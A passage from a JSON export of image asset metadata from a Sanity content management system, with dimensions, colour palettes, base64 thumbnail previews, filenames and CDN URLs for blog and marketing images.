J9g4kf0t5KvzSoEWU12CRQHZHhmrTCWPY1b9frwRtV7E59rWw8uk89py3tqZd7Pp96HJK32wgXx13HcKvYcczveIKVqcoxgp6e3PjgQrN0LV4eDW8K3ayO39sUg9MnU+EW3fefAyNHkxNNrExq6ob8PeA8mzx8trLMrxyhrVLSQYaVaQUyJ5BMiCqOYkfRX7Spq/qvprxL+r+g+wsQ/UskiKuvfI7Gtq+g5Q1nhSpLr4RBef6BYsGti06PRIGQbmOJzn5AJPyoJWFfUdUd8BpOjz1qbHPi7HvlqhT6axx8urf/FMt5CkRbvH7bhgprMk5wVSAGoZqBWgbghqxU1KwaHzRurH583f7czPyPAbkWx0tjkwA6AN5DSH5hm4wKJOmVcKAikJSoHDKyxaBkrxZqD17N63L+lfZ1PfJwYvgVKiGCGuo4TpTXv9j5Eny6J/MK+ssyjHwCVOXtXUzYhxtjT0IWZeeJQyAxc7mMC4r9fRzRzU/8PyOguzDFxk8TKHcwBmMc67YdbldlzS/B+OD5ot7qwh7AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d446c","foreground":"#fff","population":0.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":13.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":13.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6acd4","foreground":"#000","population":0.72,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a181ca","foreground":"#fff","population":0.61,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#965294","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#aa3ddf","foreground":"#fff","population":1.98,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"WhatIsDragonFly.png","path":"images/sczeoy4w/production/e0a5a9cd97dc2b1a1ebca6dacd9be6b073feb85a-2500x1308.png","sha1hash":"e0a5a9cd97dc2b1a1ebca6dacd9be6b073feb85a","size":90373,"uploadId":"n7neXF9Xad011mJn3mxZA1GriDqZ5C6h","url":"https://cdn.sanity.io/images/sczeoy4w/production/e0a5a9cd97dc2b1a1ebca6dacd9be6b073feb85a-2500x1308.png"} {"_createdAt":"2024-05-08T14:53:59Z","_id":"image-e0b0ec04ba6fe90cc11b845e0ef8beaba56fca9a-1200x628-png","_rev":"WsWK2eJhT0GdR6GsCSs9ZP","_type":"sanity.imageAsset","_updatedAt":"2024-05-08T14:53:59Z","assetId":"e0b0ec04ba6fe90cc11b845e0ef8beaba56fca9a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNZi.$Xg+aeV}[puadiJiyawa1g3buf*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACG0lEQVQokV3RbTNUARjG8bNWqKlUKJRalq2EQkqtetFHSIoeRJoeEI3kIQlZbOxQytSXPf9/c5xpanpxv/3NdV13QF+xjFTLm4xMRpeWtw0y3STzl2SxVWfrZfywvEzIWELeH5FcSgqXZOuCbDbJdovsdhjwoFTGGmW+Wz5cl7l2mb8ii1cll5X1Hl1qk6lTMloiY0UyWy7raSk0y0ZK1k5Lvl42Gw3oPygTF2Xxtny6JUtZWbohn7OSvyObdzTfI8utMnVC3hTH4Fq9bKRl5ZSsVEmuRlYqo4RlMhbV65aF6K7JQqd87JTVm3HCCFzrktlamSiRmaPyuS4G11OSb5B8SlarDfY3fFohr87K6Fl5fVpGa2S8Wt7WyfQ5nUnJXEqmKmSyVOaOxwmjDXcuy7cr8YZf0gbcDaQ3IX1J6U/KQFIeJ2UwKUNJGSmWl9F2h2S8VCbLZKFK8pkY22mTr5fj28oYhH/Aewm5n5D+QAYCeRzIYCDPos8elHfHZbpc3pfLUq1sNcu3dilc2IfYadlPGYR9xYZPjhkOV8rQMXlSJo8Sf8GRpExXympaVhtkuU5y9bLdJrudsnVeNjMxvnfdILxfYjh80vDFGcPnJ2Xw0H9gUQzmm6XQJutNcd2vHfKjK95up3Uf42fWIOxNGKH0l8rAARkokof/VB5OyMRhyTVJoVVyDbKRkd2rstct3zvle5f8vCm/sv4GI1wAu6dWMzYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#744824","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac6b35","foreground":"#fff","population":0.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":15.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c08c92","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbc17a","foreground":"#000","population":0.25,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a4945c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":15.72,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AivenForCachingAnnouncement.png","path":"images/sczeoy4w/production/e0b0ec04ba6fe90cc11b845e0ef8beaba56fca9a-1200x628.png","sha1hash":"e0b0ec04ba6fe90cc11b845e0ef8beaba56fca9a","size":171254,"uploadId":"ehYF89crLznuQlG51v1lXIy6PstR9LQq","url":"https://cdn.sanity.io/images/sczeoy4w/production/e0b0ec04ba6fe90cc11b845e0ef8beaba56fca9a-1200x628.png"} {"_createdAt":"2023-10-19T06:15:34Z","_id":"image-e0b96284869e0291878f9f89023321838d1d88ee-620x413-jpg","_rev":"zE08g5Yj02ino50zLdSgji","_type":"sanity.imageAsset","_updatedAt":"2023-10-19T06:15:34Z","assetId":"e0b96284869e0291878f9f89023321838d1d88ee","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VOJH~@I9Rk-;tR_NxYIUxaofD$RPIVRjt6%1R-E1%Lt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5012106537530265,"height":413,"width":620},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGAgf/xAAhEAACAgMAAQUBAAAAAAAAAAABAgMEAAURQgYTITGBYf/EABYBAQEBAAAAAAAAAAAAAAAAAAMAAf/EABcRAQEBAQAAAAAAAAAAAAAAAAEAAhP/2gAMAwEAAhEDEQA/ALS5SgpWFhimUWmUyIv8GPa+z2Wx1CpLZVYQOAL5DOJHZWL1trNl2aZvLvPzHNX1Ja1deKAKs1fvAjfBH7mGgpytcHWa2ZmaWdmfvCejDMQCOxCk3tKpcBiPvDF7MfIv/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a2b3a","foreground":"#fff","population":5.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#29475b","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2a2b3a","foreground":"#fff","population":5.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b2c3d7","foreground":"#000","population":2.91,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dcc9a4","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6482aa","foreground":"#fff","population":0.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c9cbc","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"1663843916_netfondsag_cjostfink_102018_8705.jpg","path":"images/sczeoy4w/production/e0b96284869e0291878f9f89023321838d1d88ee-620x413.jpg","sha1hash":"e0b96284869e0291878f9f89023321838d1d88ee","size":173524,"uploadId":"rEwK2KzD3GVQNgu4ULYWNMZdclAfdK09","url":"https://cdn.sanity.io/images/sczeoy4w/production/e0b96284869e0291878f9f89023321838d1d88ee-620x413.jpg"} {"_createdAt":"2023-05-02T16:41:02Z","_id":"image-e0bc1da0b09dafb0e9ce363fa6d7fe62818da21d-800x800-jpg","_rev":"19v4Tae8jfdG2U7OjCEOCg","_type":"sanity.imageAsset","_updatedAt":"2023-05-02T16:41:25Z","altText":"Troy Sellers","assetId":"e0bc1da0b09dafb0e9ce363fa6d7fe62818da21d","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"erKnC{xu%#WBni~Wf6o#WBV@IoWBM{j[ofozofofofjstRWBoJayNG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAMGBwj/xAAoEAABAwIEBQUBAAAAAAAAAAACAAEDBAUGERQhEhMiMUEHFUJRYcH/xAAWAQEBAQAAAAAAAAAAAAAAAAADBAD/xAAbEQACAgMBAAAAAAAAAAAAAAAAAQIDERITQf/aAAwDAQACEQMRAD8A3K8VOmoTkZyZ+3S26o/velv1Lp5J9PIbBIJ7s7v/AFS46xxZqKCa26nm159AhFvwl+v4WW02IJMPXhq24wPJBG/E0ZFnxF9sisjLZFVLhzllHRTkyKhW/wBTsN1lKExV4wEXeOTZ2dE2rJMo54twa66C9QREUp9RZ7upr7TtFIAcyQ2y+ZZ5boir9CK9yhcizbyiIsY//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#303849","foreground":"#fff","population":27.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1325","foreground":"#fff","population":0.24,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#303849","foreground":"#fff","population":27.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bf8c7c","foreground":"#000","population":6.78,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dba896","foreground":"#000","population":3.18,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#987060","foreground":"#fff","population":3.65,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3e62c0","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"troy-sellers.jpg","path":"images/sczeoy4w/production/e0bc1da0b09dafb0e9ce363fa6d7fe62818da21d-800x800.jpg","sha1hash":"e0bc1da0b09dafb0e9ce363fa6d7fe62818da21d","size":61773,"title":null,"uploadId":"EWKzRkyLdNrTrWP7V0jCZ9pAYWqv58jj","url":"https://cdn.sanity.io/images/sczeoy4w/production/e0bc1da0b09dafb0e9ce363fa6d7fe62818da21d-800x800.jpg"} {"_createdAt":"2024-07-03T08:49:39Z","_id":"image-e0be903bc041d5f769f51827927280fbc8ebbb6b-743x487-jpg","_rev":"p92WeIHLmx3eRj4ziDbM1t","_type":"sanity.imageAsset","_updatedAt":"2024-07-03T08:49:39Z","assetId":"e0be903bc041d5f769f51827927280fbc8ebbb6b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VYNm$oNIRkx]ay~qocM{RPoJ?bxut7ayozx[RkxtofM|","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5256673511293635,"height":487,"width":743},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGBAf/xAAgEAACAgIDAAMBAAAAAAAAAAABAgMEAAUGESESE2EV/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgAB/8QAGREBAQADAQAAAAAAAAAAAAAAAQACERIx/9oADAMBAAIRAxEAPwDrdPmN6OCouzqxRoAGeaNu0Qfpx5X5Al2OrNr4xPExYM4Pi/uR/I9PHrqDJWlf6ph8SjegZo0VT+ZpTDFIW+CHpiMskxdW+m51qeR3a1Zo9tAiTiRioDg9p34cMntYY9rTSxdhR5h2hYedgYYeySX/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#423d44","foreground":"#fff","population":6.69,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#16486d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#423d44","foreground":"#fff","population":6.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#afc5d1","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#afe0f8","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9b6f59","foreground":"#fff","population":0.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#58a4dc","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Backmarket4.jpeg","path":"images/sczeoy4w/production/e0be903bc041d5f769f51827927280fbc8ebbb6b-743x487.jpg","sha1hash":"e0be903bc041d5f769f51827927280fbc8ebbb6b","size":51102,"uploadId":"t8nOo3lWoTgPjSmQInud6ntvqFEzzBz8","url":"https://cdn.sanity.io/images/sczeoy4w/production/e0be903bc041d5f769f51827927280fbc8ebbb6b-743x487.jpg"} {"_createdAt":"2023-10-18T14:13:02Z","_id":"image-e0d02791ed85f2d9fe1366db74b21b1afe024f1d-2019x1714-png","_rev":"kfl1F24L65Nzg04H5HK3xV","_type":"sanity.imageAsset","_updatedAt":"2023-10-18T14:13:02Z","assetId":"e0d02791ed85f2d9fe1366db74b21b1afe024f1d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e1SPb50000,{xI0I-Xs;xuV[01?G$_xmMw0EE2IqIqIp00IqbwtSo#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.177946324387398,"height":1714,"width":2019},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAAB9ElEQVQ4jaWTW2/bMAxG/f//0YC+rMP2MvR5W7G1Q5KmaXyVrCspkoPk2InRG9AZ+CBCto4PLau6+tqGT9dNuvrW0efvA13fTPlyo065rN9P9fvXEX/8rOn2TvHdZiy53xr+u7Ml97up3uw9bw/h3VSqbqhrOtajFWuDGOvFuiDOxyluGkNEASABSBICljkfoGSuIySptFZpHDXHGIWI+FlSWup85REA2PvAMUJet9QpJa6CD+SM4xii5ImUUh4FEUtyTURLEJMAZNt8Py2Zn6tg9GSeBja9FmMtO+ck2/oYxEUnEaIgTOCU6ASDExBXL2RmqUJvSG1qHo6tDMPAWmvx3heYiUYChALIFpMhSoxQMs3jCcoT0BlP3XHgru0LUCkl2TIDLdhimG1mkzxm0BmYFrsCVB7pobdc92ptCH4B4hvAdGFXgLWN9KcZ+dAOBWhGIxFAPF4A8TlwTjrNL8An7en2ceB93YtSirMdJhSP4c2W5yDiGjgoS7t9y8e6E601hxDKovBRoDeK+uMD921dgMUQ/8NwtIoO9Z6brpZxHBfDS+BLm/LqN+ytpm3zyMeuWbW8Ar6wKa/usveK+mHPg2pXhhGjOHQS8fyv5YXzsTyflLNdARJYSr5nCDYfOZ6/CVISSOeW5rZmy/koXrabgf8AerMlRark5gQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d3262","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#15637b","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a55888","foreground":"#fff","population":0.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#93c0ad","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecd392","foreground":"#000","population":0.07,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a55888","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d45840","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"console-view.png","path":"images/sczeoy4w/production/e0d02791ed85f2d9fe1366db74b21b1afe024f1d-2019x1714.png","sha1hash":"e0d02791ed85f2d9fe1366db74b21b1afe024f1d","size":86079,"uploadId":"nnP2tDjyNqG6boC2d1wAmvfO8HNxDavZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/e0d02791ed85f2d9fe1366db74b21b1afe024f1d-2019x1714.png"} {"_createdAt":"2022-06-15T20:01:41Z","_id":"image-e0d447bc50ae904168cd65c4a410e69dd3f41387-752x405-png","_rev":"CK1sLU2mnwa3vmbYWEaxHu","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:57Z","assetId":"e0d447bc50ae904168cd65c4a410e69dd3f41387","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MaOWyx~p?aD*xZoLV@aejYof~pM|WBnhbJ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACeUlEQVQokVXRzW/SYACA8f4tJt7n0buHmZh4WDzMzHlSo3HzssUsTgmJynQfjn0QzRZGMjZ1gQQHjJW2CZDRwTLaMBgw2r7QlWa2rBtrX8CWjhrjR+Lv/pwexDI7XQg7mtaEUFVVCKFhGJ1O5+Liolqt5nK5TCZD03SpVBIEQVEUCKGu66Zpdi0L6TahWeEgy9QqFYZhqtWqqqqtVktRFEEQOI47LBT29/dJkiR3dzOZzNFRWZK+N5vNjmkiHU1tAk5hyjzHlctlAIAkSfV6/eTk5Pj4OJ/P4wTh9a7NL7pmZp3OuTn3yso2ul0sFuv1OgI1TRJFwDJHpT8KhUI2m6UoKplM+vz+NxPvHwyP3H0yOvhs/PHI+NhL21uHw+12YxiGNBoNDoBsNpve20un0yRJxuPxWCyG47jP53s3Od03+LCnt//aneHekYWnM+sLni9z8/M2m83hcCCSJFEURSaTOI6HQiG/37+xsRGNRnd2dgKBwMT07K37Q1du3Lt6e+imbd3uz8RoZjeVXl5ettvtyOnpaT6fp2k6lUoRBBEOh4PBIEmSNE1jGObxrg+9mro+MNoz8KLv9WcXmivyMs/zBEF4PB5E13VVVRuNxtnZmSRJoijWBEEURQBAKpXa3Aw6P7ofjU/2j3147vIF4tRhiaEoCieIWCyGWJbV/evy8tIwjB/tNoRQluVisYhh2Oqq1+n6NLW4tLT69VsogqLRSCSSSCRYlv0V/9Ptdg3DaLfbmqb9/nxwcJBIJFAUDW9thcNhFEXj8ThFUTzPq6r6X2xZlmmauq5DCM/Pz2VZFkWR53kAKizHsSwLAKjVaoqitFotwzB+ApUOCNQT52izAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#385164","foreground":"#fff","population":2.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#33688f","foreground":"#fff","population":1.53,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#889095","foreground":"#fff","population":9.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b5b5","foreground":"#000","population":6.79,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df8d8d","foreground":"#000","population":0.15,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#889095","foreground":"#fff","population":9.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#468bbd","foreground":"#fff","population":1.41,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e0d447bc50ae904168cd65c4a410e69dd3f41387-752x405.png","path":"images/sczeoy4w/production/e0d447bc50ae904168cd65c4a410e69dd3f41387-752x405.png","sha1hash":"e0d447bc50ae904168cd65c4a410e69dd3f41387","size":148436,"uploadId":"5ABWLVvgnlnKGEympLAbEmYebxftFSTm","url":"https://cdn.sanity.io/images/sczeoy4w/production/e0d447bc50ae904168cd65c4a410e69dd3f41387-752x405.png"} {"_createdAt":"2024-03-14T15:53:47Z","_id":"image-e122085b2447fe0cb74b5df46d22b06dc8fe561f-1200x628-png","_rev":"MXByqil29wvmyqa7TCjkHW","_type":"sanity.imageAsset","_updatedAt":"2024-03-14T15:53:47Z","assetId":"e122085b2447fe0cb74b5df46d22b06dc8fe561f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MAC?4|1CMJX=:zkOO^}O0-xvDiMcTLw]$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACzElEQVQokR3R209TBwDH8fMXmEjtEAGZ1XghqBCQixSpvZ0eetrTc05PSwtiLaBgK5cignK/FLEIFRB1Mn0Asy1mG2wsMrcXE/XBLBkPS3xYzJI97O/4Lvbh9/rJ75efsL8gxPEznVTV91JR10dFXYoq6zC1tjEanDM0inexOuepd2Y477hPvWsFm3eDWvdP1Di2aVWyPOzs4s1tnU9zEoLpUJiz1Qlc3hFc3jHs0jiifxZZu4diLKE2r+AzPuchvtBjvMF13IEX1Li2qLRt4RNXmYj28k2yje3+KIK5OJJrJ2tTyNo0LnkSj5JG1jP4jSWU0DJycAV/aA0t+hQ5uI5VfM45+3dU2V7iuJClR7pBWm8npfQi5JdEOWftw6tO0KRO5UApkM41bFIXEJX7SGo2B+otT/GFvsajbuANbePTvqfdNUnGoZFxqCQariIc/LIlB0qBcRRjFr8xRyCUIRBexB9cRAos4tWX0aJPMC49ozm2SUdyh8TgW65f/5X54BA7nhpeOmq416gg5B+OUnm+F48yjhpOEwjdxR+cx28s5CbLeha9eZm22Bqx+GPiV1/QM/g7A6N/kOx7x2hkic0mHxsuN2O2GMKBwjBlFdew2m/S6L6NTRzFLk1hlz4/PIvDM8el8CxTyUmyAxPMpFa5NfSa1MgeXf1/0hLZ4bL4gJhzAfniVwh5+TrHjjRTVhbnVHk3x8q6sZQmsJT2UHKyj5OnU4TdCR5du8yr4QjfDg8wNvAjPUN/kRj8iNr6jjrXK6rtu1TadxHyvlCxFGmcON7K0dIOCixx8gqvYCrqwFTcTZEliWxtZ71DY29C5P1MO5k7P5Aa+Zv+0X8wrnyg2v2actsu5Y2/IOwza5jydcyFYczFrZiK2nLggeJOzIe7KThyA2tVFysxg09pJx8X46xN/8yd6X8Znv6PSOceteJvnL2ww5mGLf4HtSOpIreV91UAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e2e62","foreground":"#fff","population":0.75,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e0474","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d3763e","foreground":"#fff","population":7.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#abb2d9","foreground":"#000","population":1.91,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f88e2","foreground":"#fff","population":1.68,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab7066","foreground":"#fff","population":1.79,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d3763e","foreground":"#fff","population":7.47,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"The Coexistence of Open Source and Proprietary Software: Striking the Balance.png","path":"images/sczeoy4w/production/e122085b2447fe0cb74b5df46d22b06dc8fe561f-1200x628.png","sha1hash":"e122085b2447fe0cb74b5df46d22b06dc8fe561f","size":270145,"uploadId":"1iG3sAnblAaNVcOtu1Kk70bLP26eijTj","url":"https://cdn.sanity.io/images/sczeoy4w/production/e122085b2447fe0cb74b5df46d22b06dc8fe561f-1200x628.png"} {"_createdAt":"2024-07-04T07:52:06Z","_id":"image-e1223df00d4e5c2e8e3517d4de782c79c7e09177-2064x1506-png","_rev":"Y6NNh6Ue45iOdNdcw94Icm","_type":"sanity.imageAsset","_updatedAt":"2024-07-04T07:52:06Z","assetId":"e1223df00d4e5c2e8e3517d4de782c79c7e09177","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VEKw%:$k00tl00q[?G01EhWq}@wItmK5R*00IA.myD-p","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3705179282868525,"height":1506,"width":2064},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEGUlEQVQ4jVWSfWjVVRjHj7srJin+UYSBkabzLg1BozSi2LSswIoIwSgIQnJXcSr28kdFJkRZBMV2WSu7l0qyooJg2tJ0btOme5Gb22y7b9u9v/t7Ped3zu+8/M7vbvflxF2T6oEPDzzwfHjg+YLsiWNAPQSAWgnA7GubGyp7G++ptq56XO1d/ZRqW7ejuj+8o7q/6VH1yQsPVM/F1pUmB2/j1FuMXfdm09Drvjt5ErQ0N4NEIgHma3L4EgBKga+VWsTOfrW29O3b71S7Imeq0d391a5IX7Wrta/65cGeck/nD6Xx/uOBox2Rvn/I9/1dlNK7CwUtlM/ngW3b/wiTf02Ai0qBi1kYYrnJllJq5ExprHc2GPm1Eoz+Vi5fO18pTwzMBemEFHqWMhdaQggtCIKzvu8/ByFcjDEGNeYrnUqBsckkGBoeCXHGts8FckByWnEdS9UoCq5mpa8owQojpBBCilKqpJRpKeUeQsgSzjnwPG9BmE6D6xPjYGhoKCSEeCwoFvsoY2XbdqoQoYovZSUoFiuEkApCqAIhKlNKq0EQJIMgaK0JGWOAUvqvsMbo1ashzvl2zvkAhFDpuq4sy1KcMeX7vnJdVyEIFcZYcc5VsVjMSCkjhJCl/xOmUimAsQ0GB6+EKKVbKaU9lmWRfD5PdV2nnudRIQR1XXceSqnHOWe+7yeEEC/XLpRSAkIIqK+vB2BqKgmef/F1oCqkjnPaxDk7hDHucBwnCiGMMsaiQvAodlEnQbCLeeQzzlkn5/wopfQRz/MaaocFQbAIQlhLjJqnYdm2Rb19w7ekM7kVec1Yk9eMxnzeaNQ0o7GgW6vN9OQaNHq+yb0+vNaxzFWW7ayYns4uubFfYz46SpXAS7uPLXvi6Tc3PLzt1eaNW/ZtXb/plZZ779vTsuH+SMumB/c1P/nMW5tOfPH9Knzxl7vcqxfuhKa+HCJ3ueM4yyGEdyCEbocQLtE0rQ6U5njd8fipLe++90374Tc+7913MDoQaWvvj7R19O890DHQdrjzwsef/vTztbF0e1Gwj4q++DAIgg8WeL/WpZRHBOfPYoxvBb7P6xN/Tu083zsy2n36UrX79B/qBqd7LqvuU5fU7+cuz2YyM4xRShhjhGBMPI8QIQSuPcl1keV5Xoxzvh4wxm5yHGfnzPTM5VQqLWZmcmJ6Oiey2WmhaQWRTKbE0JUr/sT4uDQNQ9q2JQuaJk3TkC5CUtcLQTabYZZl/cg53wggRCGE4GbTMI7qBS1u21bcNI24Yehxx7HjmpaPT4yPxZPJqbhlmTHHcWKmacQQhDHXdWP5XC6eSiaPFwqFA4SQlSCTyQDDMJfatr3ScWAYIfQf3DCEKAwX5oTgMME4jDEOe54XJoSELctq0nU9bBjGCsMwGv4GrGVqHavSb8oAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#323557","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibra